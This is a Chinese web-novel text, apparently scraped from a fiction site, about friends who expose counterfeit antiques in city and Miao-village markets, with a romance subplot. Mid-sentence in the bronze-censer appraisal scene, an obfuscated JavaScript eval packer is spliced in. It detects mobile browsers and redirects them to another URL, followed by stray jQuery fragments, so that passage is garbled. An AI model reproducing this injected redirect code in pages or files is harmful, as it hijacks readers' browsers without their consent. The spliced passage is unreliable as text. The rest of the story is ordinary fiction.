绫司司攥着刚取的两千块现金，指尖被纸币磨得发潮。城南的古董市藏在老巷深处，青石板路被踩得油亮，两侧摊位上的铜器、瓷片、旧书堆得像小山，摊主们摇着蒲扇，眼神半眯半睁，像揣着无数秘密。
她是冲着一只霁蓝釉瓷瓶来的。昨天在摊主老周的朋友圈里见过，瓶身莹润得像浸过月光，落款是“成化年制”。老周说这是他乡下亲戚拆老宅时翻出来的，急着出手换给儿子交学费，开价两千，一分不多。
挤过几个蹲在地上挑铜钱的老头，绫司司一眼就看到了那只瓷瓶，摆在摊位最显眼的位置，蓝得晃眼。她蹲下身，指尖刚碰到瓶身，就被老周按住了手。“姑娘轻点，这宝贝娇气。”老周的声音压低，带着点故作神秘的谨慎，“我跟你说，这可是真家伙，前儿个有个行家来看过，出到三千我都没卖，看你是真心喜欢，才给你这个价。”
绫司司的心怦怦跳。她刚入古董坑半年，看过几本鉴定的书，知道霁蓝釉存世量少，尤其是成化年间的，更是珍品。她凑到瓶口闻了闻，有股淡淡的土腥味，像是刚从地里挖出来的。又摸了摸瓶底的落款，字迹清晰，笔画圆润，和书里写的一模一样。
“能不能再便宜点？”她强装镇定，按着兜里的钱。
老周叹口气，像是下了很大决心：“姑娘，我这真是亏本卖了。这样，你再加一百，我送你一个清代的铜墨盒，也算交个朋友。”
绫司司咬咬牙，点头了。两千一，她把兜里的钱全掏了出来，数给老周。老周麻利地把瓷瓶和一个锈迹斑斑的铜墨盒塞进布袋子里，递给她时还不忘叮嘱：“回去好好收着，过个三年五载，保准翻十倍。”
她抱着布袋子，像抱着个烫手的宝贝，脚步都轻飘飘的。走出老巷，阳光晃得她睁不开眼，她找了个树荫，迫不及待地把瓷瓶拿出来细看。
就在这时，一个背着帆布包的老头路过，瞥了一眼她手里的瓷瓶，突然停下脚步。“姑娘，这瓶子哪儿买的？”
绫司司心里一喜，以为遇到了懂行的，忙说：“就在前面的古董市，说是成化年间的霁蓝釉。”
老头嗤笑一声，蹲下身，手指在瓶身上轻轻敲了敲。“你听听这声音。”
“咚——”一声闷响，像敲在空心的砖头上。
“真正的霁蓝釉瓷瓶，胎质细密，敲起来声音清脆，像玉石碰撞。”老头又摸了摸瓶底的落款，“这字是印上去的，不是手写的，你看这边缘，多规整，老瓷的款识哪有这么周正？还有这土腥味，是用茶叶水和泥土泡出来的，骗骗新手还行。”
绫司司的脸“唰”地白了。她慌慌张张地拿出手机，打开鉴定的APP，对着瓷瓶扫描。屏幕上跳出一行字：现代仿品，市场价不超过五十元。
她又去看那个铜墨盒，抠开盖子，里面刻着的“光绪年制”歪歪扭扭，边缘的锈迹用指甲一刮就掉，露出里面亮闪闪的黄铜色——哪里是什么清代老物件，分明是电镀的假货。
风一吹，树叶沙沙响。绫司司抱着那个轻飘飘的瓷瓶，站在树荫下，看着巷口来来往往的人，突然觉得手里的瓶子沉得像块石头。老周那半眯半睁的眼神，那故作神秘的语气，此刻全变成了嘲讽的笑脸。她攥着布袋子的手指用力，指节泛白，两千一，她半个月的工资，就这么打了水漂。
巷子里传来摊主的吆喝声，阳光依旧明媚，可绫司司觉得，那片藏着无数“宝贝”的古董市，突然变得灰蒙蒙的，像一场醒不过来的骗局。
绫司司蹲在老周的摊位前，手指反复摩挲着那个霁蓝釉瓷瓶的瓶底，眉头拧得死紧。她昨天才刚和许祭吐槽过，说自己最近迷上了古董，想买个像样的物件练练手，今天就栽了这么大个跟头。
老周还在旁边唾沫横飞地辩解：“姑娘，这真不是假货！你要是不信，我带你去找行家鉴定！”
绫司司咬着唇，眼眶泛红。她不是心疼钱，是觉得憋屈，更怕被许祭知道了，又要笑她毛躁。正僵持着，肩膀突然被人拍了一下。
“怎么了这是？”
熟悉的声音响起，绫司司回头，看见许祭拎着个帆布包站在身后，穿着件简单的白T恤，牛仔裤上沾着点灰尘，和平时约着去吃火锅的样子没两样。
“许祭？你怎么在这儿？”绫司司有点慌，下意识地把瓷瓶往身后藏了藏。
许祭的目光扫过摊位上的瓷瓶，又落在老周脸上，眉头挑了挑：“我来这儿淘几本旧书。你买的？”
老周见来了帮手，赶紧凑上来：“这位小兄弟，你评评理！我这瓶子明明是成化年间的真品，她非说是假货，还想退钱……”
“哦？成化年间的霁蓝釉？”许祭弯腰，拿起瓷瓶，指尖在瓶身上轻轻敲了敲，发出一声闷响。他又翻过来，看了看瓶底的落款，嘴角勾起一抹似笑非笑的弧度，“周老三，你这仿品的手艺，比上次那个青花碗还差了点意思。”
老周的脸“唰”地一下白了，眼神里满是惊恐，说话都结巴了：“你、你怎么知道我的名字？”
许祭没理他，把瓷瓶扔回摊位上，发出“哐当”一声响。他掏出手机，不知道拨了个什么号码，语气平淡：“是我，老巷三号摊位，周老三，欺客，按规矩办。”
挂了电话，他转头看向绫司司，伸手揉了揉她的头发，语气无奈：“不是跟你说过，买东西之前先拍给我看看？”
绫司司愣住了，看着老周惨白的脸和颤抖的手，又看看眼前的许祭，脑子里一团乱麻。她认识许祭快一年了，只知道他是个自由职业者，平时喜欢逛逛旧书市，性格随和，怎么这会儿……
没等她想明白，两个穿着制服的人就走了过来，径直走到老周面前，亮出证件：“周建军，有人举报你在古董市售卖假冒伪劣商品，跟我们走一趟。”
老周腿一软，差点瘫在地上，被两人架着往外走时，还不忘回头冲许祭哀求：“许二哥，我错了，我再也不敢了……”
许二哥？
绫司司猛地看向许祭，眼睛瞪得溜圆。
许祭摸了摸鼻子，有点不自在地避开她的目光：“咳，这事儿说来话长。”
周围的摊主们早就围了过来，见老周被带走，纷纷凑上来跟许祭打招呼，一口一个“许二哥”，语气里满是恭敬。绫司司这才反应过来，难怪每次她来古董市，许祭总能精准地推荐几家靠谱的摊位，难怪他随口说的几句鉴定技巧，比书里写的还管用。
她气鼓鼓地踢了踢许祭的小腿：“好啊你，居然瞒着我！”
许祭笑着投降，从兜里掏出一沓钱递给她——是老周刚才偷偷塞给他的，足足四千二。“赔给你的，双倍。”他把钱塞到绫司司手里，又拿起那个铜墨盒，看了一眼就扔了，“这电镀的玩意儿，扔了都嫌占地方。”
绫司司攥着钱，心里又气又暖。她看着许祭被摊主们围着打招呼的样子，突然觉得，自己这个朋友，好像藏着很多她不知道的秘密。
“回去请我吃火锅，”许祭走过来，拎起她的布袋子，“就当赔罪。”
绫司司哼了一声，嘴角却忍不住上扬：“火锅要加两份毛肚！”
苗寨的古董市还浸在晨雾里，吊脚楼的飞檐挂着露珠，青石板路踩上去咯吱响。许祭刚把一叠苗绣纹样摆上自己的固定摊位，沈司南就揣着手踱了过来，目光扫过周围摊主递来的热糍粑和打招呼的笑脸，挑了挑眉。
“说真的，”沈司南往木架上一靠，下巴点了点这片黄金位置，“前几天你帮绫司司在城南古董市出头，我就觉得不对劲。今儿个到苗寨，你居然也有这么个好摊位，你小子到底藏了多少身份？”
许祭正低头拂去一块老银锁上的灰尘，闻言动作顿了顿，抬眼笑了笑：“哪有什么身份，不过是守点规矩罢了。”
他把银锁放下，指了指不远处正在教老乡辨银饰的老匠人：“三年前第一次来苗寨，撞见个外地贩子用镀银的假货，换走了阿婆传了三代的苗绣嫁衣。那嫁衣上的打籽绣，一针一线都是老手艺，差点被那贩子带出寨当破烂卖。”
沈司南挑眉，没吭声。
“我帮阿婆把嫁衣追了回来，又留下来半个月，帮寨里人整理那些老物件，教他们怎么看包浆、辨纹路，别再被外人坑了。”许祭拿起块靛蓝绣片，指尖摩挲着上面的蝶纹，“城南古董市那边也是，早年看不得那些摊主欺负新手，帮着定了几条规矩，时间长了，大家也就认我了。”
“所以绫司司那次，”沈司南恍然大悟，“你不是碰巧路过，是特意去帮她的？”
许祭没承认也没否认，只是弯腰把绣片摆得更整齐些：“她那性子，买古董只看故事不看货，不看着点，早晚得把家底赔进去。”
说话间，刚晨练完的绫司司拎着两袋豆浆走了过来，远远就喊：“许祭！沈司南！你们俩又聊什么呢？快趁热喝！”
她走到摊位前，瞥见那块蝶纹绣片，眼睛一亮，伸手就想去碰，被许祭轻轻拍了下手：“小心点，这绣片脆得很。”
绫司司吐吐舌头，把豆浆递给他，转头冲沈司南做了个鬼脸：“别听他瞎嘚瑟，他就是嘴硬心软。上次我被骗，他嘴上骂我笨，转头就带我去把钱要回来了。”
沈司南看着两人拌嘴的样子，忍不住笑了。原来哪有什么特殊身份，不过是有人愿意守着点公道，护着点身边人罢了。晨雾渐渐散了，阳光落在绣片上，泛着温柔的光。
晨雾彻底散了，阳光把苗寨古董市照得透亮，绫司司蹲在许祭的摊位前，手指无意识地抠着青石板缝里的青苔，越想越觉得憋屈。
刚才沈司南接了个电话，转身跟老乡用流利的苗语聊了几句，那熟稔的架势，哪是什么采风的摄影师，分明就是寨里人常提起的蛊王——难怪上次她被毒虫咬了，沈司南随便摘片叶子捣烂敷上，第二天就消肿了。再看许祭，城南古董市的二把手，苗寨集市的黄金摊位得主，连最挑剔的老银匠都对他客客气气。
两人一个蛊王，一个古董圈的话事人，个个都藏着厉害身份。
绫司司猛地站起身，气鼓鼓地叉着腰，瞪着正在低头整理绣片的许祭和倚着木架看热闹的沈司南，声音里带着点懊恼的鼻音：“你们俩也太不够意思了！一个个都有这么牛的身份，瞒着我就算了，还天天看我笑话！”
她越说越委屈，脚尖踢了踢摊位腿：“沈司南是蛊王，能驱虫能辨药，许祭你是古董市二把手，能鉴宝能撑腰，再看看我呢？我是什么？我就是个连霁蓝釉仿品都看不出来的笨蛋，是个逛古董市一踩一个坑的倒霉蛋！”
许祭手里的动作一顿，抬头看她，眼底藏着笑意：“谁说你是笨蛋？”
沈司南也忍不住笑出声，慢悠悠地晃过来，伸手揉了揉她的头发：“你忘了？上次我们俩去山里找草药，是谁凭着直觉找到的野生金线莲？要不是你，那味药引子还不知道要找多久。”
许祭跟着点头，拿起那块靛蓝蝶纹绣片递到她面前：“还有这个，昨天你一眼就看出这绣片的针法和别处不一样，说这蝴蝶翅膀上少了一针‘锁魂绣’，连老银匠都夸你眼光毒。”
绫司司愣住了，下意识地接过绣片，指尖拂过蝶翼的针脚，果然有一处细微的空缺，那是她昨天随口提的一句，没想到他们都记着。
“可……可这也不算什么厉害的身份啊。”她小声嘀咕，还是有点不甘心。
许祭看着她耷拉着的脑袋，突然笑了，伸手弹了弹她的额头：“身份哪有那么重要？你是绫司司，是能一眼看出绣片破绽的绫司司，是会把我们俩的火锅毛肚都抢光的绫司司，这就够了。”
沈司南跟着附和，从兜里摸出个用红绳系着的小银铃递给她：“喏，蛊王送你的护身符，保你以后逛古董市再也不被骗。”
绫司司捏着那枚冰凉的银铃，看着两人笑意盈盈的样子，心里的懊恼瞬间散了大半，她哼了一声，把银铃揣进兜里，又伸手去抢许祭手里的绣片：“那这个绣片归我了！以后我要跟着你们学鉴宝学辨蛊，早晚也混个厉害的身份！”
阳光落在她气呼呼的脸上，映得那双眼睛亮闪闪的，像藏着整片星空。
绫司司捏着那枚银铃，绳结缠了两圈才牢牢系在手腕上，走路时铃铛轻响，倒成了个新鲜的小玩意儿。她跟在许祭和沈司南身后，在苗寨古董市的摊位间晃悠，眼睛却比往日亮了几分，时不时蹲下身，学着许祭的样子敲敲瓷瓶、摸摸绣片，嘴里还念念有词。
正逛到集市尽头的一个临时摊位前，摊主是个操着外地口音的中年男人，正唾沫横飞地对着几个游客吹嘘：“看看这苗银项圈！正宗的百年老物件，我爷爷传下来的，上面刻的是苗家的护崽纹，戴在身上能辟邪！”
那项圈黑沉沉的，上面刻着歪歪扭扭的纹路，看着确实有些年头。几个游客被说动了心，正准备掏钱，绫司司却突然皱起了眉。
她想起许祭教过的，老苗银因为常年佩戴，表面会形成一层温润的包浆，而眼前这项圈，黑得过分均匀，倒像是刻意做旧的。
她犹豫了一下，还是走上前，指着项圈问：“老板，这纹路看着有点奇怪啊，我之前在寨里阿婆那儿见过的护崽纹，好像不是这样的。”
摊主脸色一沉，瞪了她一眼：“小姑娘懂什么！苗家纹样多了去了，你见过的才几种？”
许祭和沈司南也走了过来，许祭扫了眼项圈，没说话，沈司南却突然伸手，指尖在项圈的缝隙里擦了一下，指腹上沾了点黑灰色的粉末。
“做旧用的火漆灰，”沈司南晃了晃手指，语气平淡，“真正的老苗银，缝隙里藏的是经年累月的汗渍和油脂，可不是这玩意儿。”
摊主的脸瞬间白了，梗着脖子狡辩：“你胡说！这就是老物件！”
就在这时，绫司司手腕上的银铃突然轻轻震动了一下，发出一阵细碎的响声。她愣了愣，想起沈司南说过，这银铃里淬了点淡淡的驱虫蛊，对劣质金属和化学做旧剂会有感应。
她心里一下子有了底，索性学着许祭的样子，伸手敲了敲项圈。
“咚——”一声闷响，和上次那个假瓷瓶的声音一模一样。
“真正的老苗银，质地软，敲起来声音是哑的但不闷，”绫司司挺直脊背，声音清亮，“你这是白铜镀银，用化学药水泡出来的假包浆，骗骗外行还行！”
她顿了顿，又指着项圈上的纹路：“还有这护崽纹，苗家正宗的纹路是首尾相连的，你这断了三截，明显是照着图片刻的！”
周围的游客哗然，纷纷往后退，对着摊主指指点点。摊主见势不妙，慌忙收拾东西，想趁乱溜走，却被闻讯赶来的寨里管事拦住了——许祭早就悄悄给管事递了眼色。
看着摊主被带走，绫司司松了口气，低头看着手腕上的银铃，忍不住笑了。
许祭走过来，拍了拍她的肩膀，眼底满是赞许：“行啊绫司司，出师了。”
沈司南也笑着挑眉：“怎么样？现在觉得自己没身份吗？”
绫司司晃了晃手腕，银铃叮当作响，她扬起下巴，眉眼弯弯：“我是绫司司，是能识破假货的绫司司！”
苗寨古董市的日头正盛，绫司司攥着刚淘来的老银簪，正蹲在摊位前跟老乡讨价还价，没留神脚下的青石板打滑，整个人往前踉跄了一步，手里的银簪“啪”地撞在旁边一个紫檀木盒上。
那木盒看着就价值不菲，雕花繁复，此刻盒盖被撞得弹开，里面躺着一枚羊脂玉扳指，滚落在青石板上，磕出了一道细如发丝的痕。
周围的喧闹瞬间静了半分。
一个穿着绸缎马褂的中年男人沉着脸走过来，身后跟着两个黑衣保镖，他捡起玉扳指，指尖拂过那道划痕，脸色更沉了：“小姑娘，走路都不看路的？这扳指是我好不容易从藏家手里收来的，你说怎么赔？”
这人是城里来的古董大老板，姓金，据说手眼通天，在古玩圈里是说一不二的人物。
绫司司的脸唰地白了，她没想到自己撞坏的是这么贵重的东西，嘴唇哆嗦着：“对、对不起，我不是故意的……”
金老板冷笑一声，声音带着威压：“不是故意的？这扳指市价少说六位数，你一句对不起就想算了？”
围观的人越来越多，议论声此起彼伏，绫司司的眼眶红了，手足无措地站在原地，眼泪差点掉下来。
就在这时，沈司南慢悠悠地挤了进来，手里还捏着片刚摘的薄荷叶。他走到绫司司身边，轻轻拍了拍她的后背，又转向金老板，脸上挂着漫不经心的笑：“金老板，消消气。”
他弯腰捡起那枚玉扳指，指尖在划痕处轻轻摩挲了两下，语气轻松：“这道痕看着吓人，其实只是蹭破了点表皮。苗寨后山有种‘无痕草’，捣烂了敷上，不出三日，这痕迹就能淡得看不见，跟新的一样。”
金老板皱着眉：“你唬我？”
“我哪敢唬金老板。”沈司南笑了笑，从兜里掏出个小瓷瓶，倒出一点墨绿色的药膏，“这是我用无痕草炼的药膏，你先试试。要是没用，我沈司南在古玩圈的名号，任你处置。”
他的名头在圈里也有些分量，金老板盯着他手里的药膏，脸色缓和了些许，却还是没松口：“就算痕能消，我这扳指平白无故被磕了，这事也不能就这么算了。”
一直没吭声的许祭这时走了过来，手里拎着个锦盒。他冲金老板拱了拱手，语气诚恳：“金老板，司司年纪小，毛手毛脚的，是我没看好她，您多担待。”
他把锦盒递过去：“这是我前阵子在寨里收的一枚明代鸡血石印章，品相上乘，算是我替她赔罪的。您看，这事能不能就这么揭过？”
金老板打开锦盒，看见里面的鸡血石印章，血色鲜艳，纹路流畅，显然是件难得的珍品。他沉默了几秒，瞥了眼沈司南手里的药膏，又看了看许祭，最终松了口：“罢了，看在许二和沈老弟的面子上，这事就算了。”
沈司南立刻把药膏递过去：“金老板爽快，这药膏您收好，保管有用。”
许祭也跟着赔笑：“改日我做东，请金老板喝杯酒，算是赔罪。”
金老板点点头，没再多说，带着人转身走了。
围观的人散了，绫司司才憋不住，眼泪啪嗒啪嗒掉下来：“都怪我……”
许祭叹了口气，伸手揉了揉她的头发，声音温和：“没事了，哭什么。下次走路看着点，别再毛毛躁躁的。”
沈司南把薄荷叶塞进她手里：“喏，擦擦眼泪，多大点事。回头我带你去采无痕草，学学怎么炼药膏，也算多门手艺。”
绫司司攥着薄荷叶，看着两人的背影，心里的委屈慢慢散了，只剩下满满的暖意。
苗寨古董市的人声裹着草药香漫过来，梨霄宫踩着素色绣鞋，手里挽着上官渡的胳膊，眉眼弯弯地在摊位间穿梭。两人特意来寻绫司司，许祭昨儿捎了信，说他们仨在苗寨淘老物件，让她俩也来凑个热闹。
梨霄宫生得极惹眼，一身月白旗袍衬得身姿窈窕，鬓边簪着支羊脂玉簪，走在路上，回头率高得惊人。身侧的上官渡也是女子，却偏爱一身挺括的青色长衫，手里摇着把竹骨折扇，眉眼温润，腕间悬着串墨玉手串，身形清瘦挺拔，乍一看竟像个俊朗的江南公子，没几个人能看出她的女儿身。
刚走到集市中段，几个流里流气的外地汉子就围了上来。为首的叼着烟，眼神黏在梨霄宫身上，笑得不怀好意：“哟，这姑娘长得可真俊，是来逛集市的？哥几个带你去看些好东西，保准稀罕。”
说着，那汉子就伸手想去碰梨霄宫的肩膀。
梨霄宫眉头一蹙，侧身躲开，语气冷了几分：“请自重。”
那汉子碰了个空，非但没收敛，反而笑得更放肆：“装什么清高？来这种地方，不就是图个乐子？”身后的跟班跟着起哄，围得更紧了，周围摊主想劝，又怕惹麻烦，只能远远看着。
上官渡收了折扇，上前一步将梨霄宫护在身后，眉眼依旧温和，语气却带着不容置疑的力道：“我家阿霄不喜生人靠近，还请几位让开。”
“我家阿霄？”为首的汉子嗤笑一声，上下打量着上官渡，“小白脸一个，也敢管爷的事？识相的赶紧滚，别耽误哥几个找乐子。”
说着，他抬手就往上官渡脸上推去。
就在他的手快要碰到上官渡的瞬间，上官渡手腕一翻，折扇“唰”地展开，精准敲在那汉子的手腕上。那汉子疼得“嗷”一嗓子，手猛地缩回去，脸上的嚣张瞬间变成错愕。
梨霄宫站在上官渡身后，玉簪的尖端正对着那汉子的方向，眼神冷冽：“我们不想惹事，但也不怕事。”
那汉子缓过劲来，恼羞成怒，挥着拳头就往上官渡身上砸：“小子，你找死！”
周围的人惊呼出声，眼看拳头就要落下来，突然听见一声冷喝：“住手！”
许祭和沈司南挤开人群走过来，绫司司跟在后面，手里还攥着个刚淘的小银锁。许祭扫了那几个汉子一眼，眼神沉得吓人：“在苗寨的地盘上撒野，问过我了吗？”
周围摊主见状，纷纷附和：“就是！这是许二哥的地界，你们也敢闹事！”
那几个汉子这才认出许祭，脸色唰地白了。他们来苗寨前就听过许祭的名头，知道这人是古董市的话事人，惹不起。为首的汉子强撑着放了句狠话：“算、算我们晦气！”说完，就带着跟班灰溜溜挤开人群跑了。
梨霄宫松了口气，拍了拍胸口，转头对上上官渡的目光，忍不住笑了：“还是你厉害，刚才那一下，帅呆了。”
上官渡收起折扇，替她理了理鬓边的碎发，语气温柔：“有我在，没人能欺负你。”
绫司司凑过来，拉着梨霄宫的胳膊兴奋地晃了晃：“霄宫姐！你们可算来了，我跟你说，我今天还识破了一个假货骗局呢！”
日头偏西的时候，绫司司指着集市拐角处的竹楼，嚷嚷着要去买苗寨的特色蜜饯。一行人顺着青石板路拐过去，就看见那竹楼外挂着块黑底金字的招牌，写着**“阿术蛊铺”**，檐下挂着的草药束随风轻晃，混着一股甜香。
刚走到门口，一个穿着蜡染布衣的女人就掀帘走了出来。她约莫二十七八岁的年纪，眉眼带着点野性的俏，手腕上缠着红绳，绳上系着个装着蛊虫的小竹管，走起路来，竹管轻轻碰撞，发出细碎的声响。
“几位是来买蜜饯，还是来寻蛊的？”女人笑着开口，声音像山涧的清泉，脆生生的。
许祭挑眉，率先开口：“阿术老板娘，好久不见。”
阿术眼睛一亮，认出了他，笑着拍了下手：“原来是许二哥，稀客稀客。这位就是你信里提过的绫司司姑娘吧？”她的目光落在绫司司身上，又扫过梨霄宫和上官渡，最后停在沈司南身上，意味深长地笑了笑，“沈蛊王也在，今日倒是蓬荜生辉。”
沈司南挑眉，晃了晃手里的薄荷叶：“老板娘的蜜饯，比你那些蛊虫更合我胃口。”
梨霄宫饶有兴致地打量着竹楼里的陈设，架子上摆着各色装着蛊虫的竹管，还有些贴着苗语标签的陶罐。上官渡则注意到檐下挂着的草药束，轻声道：“这些是用来炼无痕草药膏的辅材？”
阿术闻言，看向她的目光多了几分赞许：“姑娘好眼力。看来许二哥身边，尽是懂行的人。”
绫司司好奇地凑到架子前，盯着一个装着金色小虫的竹管，小声问：“这是什么蛊呀？看起来好漂亮。”
“这是守财蛊，”阿术走过来，声音压低了些，“放在钱匣子里，能防贼，还能让财运旺一点。”她顿了顿，又笑着补充，“不过对姑娘没用，你有许二哥和沈蛊王护着，哪里用得着这个。”
绫司司的脸唰地红了，刚想反驳，就听见梨霄宫笑着说：“老板娘倒是通透，不如给我们每人包一份蜜饯，再送我们几根无痕草？”
“好说。”阿术爽快应下，转身进了屋，“蜜饯管够，无痕草也送你们，不过得帮我个小忙——我刚收了个清代的铜熏炉，许二哥帮我掌掌眼。”
许祭笑着应了声好，一行人跟着阿术进了竹楼，檐下的草药束轻轻摇晃，阳光透过竹缝洒进来，落在地上，碎成一片斑驳的金。
竹楼里的光线偏暗，窗棂上糊着苗家织的花布，风一吹，布帘轻轻晃，漏进几缕金红的夕照。阿术从里屋搬出个红木箱子，小心翼翼地打开，里面垫着青色的绸缎，躺着一只铜熏炉。
那熏炉巴掌大小，炉身刻着缠枝莲纹，纹路细密，炉盖是镂空的云纹，提梁弯成了如意的形状，看着确实有些年头。阿术把它捧出来，放在桌上，指尖轻轻拂过炉身的铜锈：“前儿个寨里的老人拿来抵药钱的，说是祖上传下来的，我瞧着喜欢，却拿不准年份。”
许祭走过去，弯腰凑近了看。他没急着上手，先借着光打量炉身的包浆——那层包浆温润透亮，带着点暗红色的光泽，不是化学药水能泡出来的。随后他才伸出手，指尖在缠枝莲纹的纹路里轻轻摩挲，又掂了掂熏炉的重量，眉头慢慢舒展开来。
“这是清中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037597|194640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
期的东西，”许祭的声音笃定，“看这铜质，是黄铜掺了点紫铜，比重比一般的铜炉沉。还有这缠枝莲纹，是典型的乾隆年间的工，线条柔，收尾细，仿品的话，纹路会粗得多，还容易断笔。”
他说着，拿起炉盖，和炉身对了对接口处：“你再看这儿，接口严丝合缝，老物件的铸工讲究的就是这个，现在的仿品，要么缝隙大，要么就是用胶水粘的。”
沈司南凑过来，闻了闻炉底，点头附和：“炉底还有点檀香的残味，清人爱用熏炉燃檀香，这味儿渗进铜里，几十年都散不去。”
阿术眼睛一亮，抱着熏炉笑得眉眼弯弯：“我就知道找你准没错！这下我可放心了，回头把它摆在铺子门口，镇店！”
绫司司也好奇地凑过来，伸手想摸，被许祭拍了下手背：“别碰，这炉身的包浆薄，你手上有汗，容易蹭掉。”
她吐吐舌头，缩回手，转头看见梨霄宫和上官渡正对着架子上的蛊虫竹管小声议论，便凑过去凑热闹。
许祭把熏炉放回红木箱子里，看着阿术：“这玩意儿好好收着，虽说不算顶级的藏品，但胜在品相完整，在苗寨里，也算少见的宝贝了。”
阿术笑着应下，转身从柜子里抱出个大罐子，倒出满满一碟蜜饯：“谢啦许二哥，蜜饯管够，无痕草我已经给你们捆好了，放在门口的篮子里。”
竹楼外的夕阳渐渐沉下去，把天边染成了一片橘红，檐下的草药束轻轻摇晃，空气里混着蜜饯的甜香和草药的清苦，热闹又安稳。
竹楼里的蜜饯甜香正浓，阿术刚把无痕草塞进许祭手里，里屋的布帘就被轻轻掀了起来。
一个穿着水绿色苗裙的小姑娘探出头来，梳着双丫髻，鬓边簪着朵淡紫色的野蔷薇，眉眼和阿术有几分相像，却更显娇憨。她手里还捏着半块糯米糕，看见许祭的瞬间，眼睛倏地亮了亮，嘴里的糕差点没咽下去。
“姐，”小姑娘的声音软乎乎的，带着点怯生生的调子，脚步却没停，几步就蹭到了阿术身边，偷偷抬眼打量许祭，“这位就是你说的许二哥？”
阿术失笑，伸手揉了揉她的头发：“这是我妹妹阿芷，整天就知道躲在屋里绣帕子。”
阿芷的脸唰地红了，攥着糯米糕的手指都有些发紧，目光却还是黏在许祭身上，看他穿着洗得发白的棉布衬衫，看他指尖捏着的无痕草，看他说话时温和的眉眼，连他腰间挂着的铜钱串，都觉得晃眼得很。
许祭也注意到了这个小姑娘，笑着点了点头：“你好，我是许祭。”
这一声问候，让阿芷的脸更红了，她飞快地低下头，小声应了句“许二哥好”，声音细得像蚊子哼。
旁边的绫司司看得眼睛都弯了，偷偷拽了拽沈司南的袖子，用口型说：“你看你看，有情况。”
沈司南挑了挑眉，刚要打趣两句，就见阿芷从袖兜里掏出个绣得精致的荷包，荷包上绣着只展翅的蝴蝶，针脚细密，一看就是花了不少心思的。她攥着荷包的带子，犹豫了半天，才鼓起勇气递到许祭面前。
“许二哥，这个……送你。”阿芷的声音带着点颤，眼睛盯着自己的鞋尖，不敢抬头，“我绣了好久的，里面装着驱虫的草药，你逛集市的时候带着，能防蚊虫。”
许祭看着那只绣工精美的荷包，又看了看阿芷泛红的耳根，没有立刻伸手去接。他先是轻笑了一声，而后转过身，目光在满屋子的人里转了一圈，最后定格在沈司南身上，指尖轻轻一抬，准确无误地指向了他。
“谢谢你的好意，”许祭的声音温和，却带着不容置疑的认真，“但我有喜欢的人了，就在这儿呢。”
话音落下的瞬间，竹楼里安静了一瞬。
阿芷举着荷包的手僵在半空，脸上的红晕以肉眼可见的速度褪去，慢慢变得有些苍白。绫司司张着嘴，一脸的难以置信，刚想开口问什么，就看见沈司南挑着眉走过来，伸手揽住许祭的肩膀，似笑非笑地看向阿芷：“小姑娘，眼光不错，可惜啊，他早就是我的人了。”
许祭没反驳，反而侧过头，和沈司南对视了一眼，眼底的笑意藏都藏不住。
阿术最先反应过来，连忙打圆场，伸手把妹妹手里的荷包接过来，笑着拍了拍她的背：“傻丫头，早跟你说过许二哥身边有人了，偏不信。”
阿芷咬着唇，小声说了句“对不起”，就红着眼眶躲回了里屋。
竹楼外的夕阳把最后一抹光洒进来，落在许祭和沈司南相视而笑的脸上，暖融融的，像一汪化不开的甜。
阿术把羞红脸躲进里屋的阿芷安抚好，转身从墙角的陶瓮里舀出一坛酒，泥封一启，醇厚的酒香瞬间漫了满室，压过了蜜饯的甜和草药的清苦。
“这是苗家自酿的糯米酒，埋在院子里三年了，今儿个难得人齐，正好开了助兴。”阿术笑着摆开粗陶碗，给每人都斟了满满一碗，酒液清冽，泛着淡淡的米白色光晕。
许祭端起碗，和沈司南的碗沿轻轻一碰，眉眼弯着：“算你有良心，没拿那些兑水的低度酒糊弄我。”
沈司南挑眉，喝了一口，酒香混着米香在舌尖散开，喉间暖融融的：“三年份的酒，果然不一样。”
绫司司捧着碗，小口抿着，甜丝丝的酒液滑入喉咙，她忍不住眯起眼：“好喝！比我爹藏的白酒好喝多了！”
梨霄宫和上官渡也浅酌着，两人相视一笑，眉眼间都是惬意。竹楼外的夕阳彻底沉了下去，暮色渐浓，檐下的灯笼被阿术点了起来，昏黄的光透过竹缝漏进来，落在众人脸上，添了几分暖意。
“说起来，”阿术喝了半碗酒，脸颊泛红，靠在椅背上，晃着手里的碗，“上次你帮我鉴定的那只宋代瓷碗，转手卖了个好价钱，回头我给你包个红包。”
许祭摆摆手：“不用，你这儿的无痕草和蜜饯，抵了就成。”他说着，转头看向沈司南，眼底的笑意藏不住，“倒是他，上次从我这儿蹭走的那幅老绣片，还没给我算账呢。”
沈司南伸手捏了捏他的脸颊，语气带着戏谑：“那绣片配我新炼的驱虫蛊正合适，算你入股了。”
绫司司听得新奇，凑过来追问：“什么驱虫蛊？是不是比阿芷的草药荷包还管用？”
梨霄宫笑着敲了敲她的脑袋：“你呀，就知道惦记这些，小心被蛊虫咬了。”
上官渡则慢悠悠地摇着折扇，接话道：“苗寨的蛊术博大精深，驱虫只是皮毛，真正厉害的……”
话没说完，就被阿术笑着打断：“别吓唬小姑娘了。”
酒过三巡，众人脸上都带了醉意，说话的声音渐渐放柔，竹楼里的笑声和着酒香，飘出窗外，落在院子里的无痕草上。夜色渐深，远处传来苗寨姑娘的歌声，清越婉转，和着这满室的酒香，成了最动人的背景音。
夜风吹得竹楼檐角的灯笼轻轻晃，昏黄的光落在院角的无痕草上。绫司司捧着半块没吃完的蜜饯，正蹲在台阶上看月亮，身后忽然传来一阵轻轻的脚步声。
她回头，看见阿芷红着眼眶站在那里，手里还攥着那个没送出去的蝴蝶荷包。
“绫司司姐姐，”阿芷的声音软乎乎的，带着点没散去的委屈，“我能不能问你个事？”
绫司司连忙拍拍身边的台阶，让她坐过来：“你说。”
阿芷挨着她坐下，手指无意识地摩挲着荷包上的蝴蝶纹路，小声问：“许二哥和沈大哥……他们真的是一对吗？我看他们站在一起，好像从来都没有分开过。”
